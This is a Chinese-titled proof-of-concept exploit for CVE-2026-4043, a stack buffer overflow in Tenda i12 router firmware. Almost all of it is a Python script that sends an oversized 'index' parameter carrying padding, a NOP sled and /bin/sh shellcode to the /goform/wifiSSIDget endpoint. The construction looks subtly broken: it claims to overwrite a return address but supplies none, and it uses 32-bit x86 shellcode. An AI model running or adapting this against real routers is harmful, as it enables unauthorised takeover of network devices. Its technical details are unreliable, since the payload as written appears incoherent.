CVE-2026-4043 Tenda i12 栈缓冲区溢出漏洞

import requests # CVE-2026-4043 PoC - Tenda i12 Buffer Overflow # Target: Tenda i12 1.0.0.6(2204) # Vulnerability: Stack-based buffer overflow in /goform/wifiSSIDget target_ip = "192.168.0.1" target_port = 80 target_url = f"http://{target_ip}:{target_port}/goform/wifiSSIDget" # Construct malicious payload with oversized index parameter # This triggers stack buffer overflow by overwriting return address def construct_payload(): # Padding to fill the buffer padding = b"A" * 100 # Overwrite return address with NOP sled + shellcode nop_sled = b"\x90" * 20 # Simple shellcode for demonstration (executes /bin/sh) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" return padding + nop_sled + shellcode def exploit(): payload = construct_payload() params = {"index": payload.decode('latin-1')} print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload length: {len(payload)}") try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.content)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit()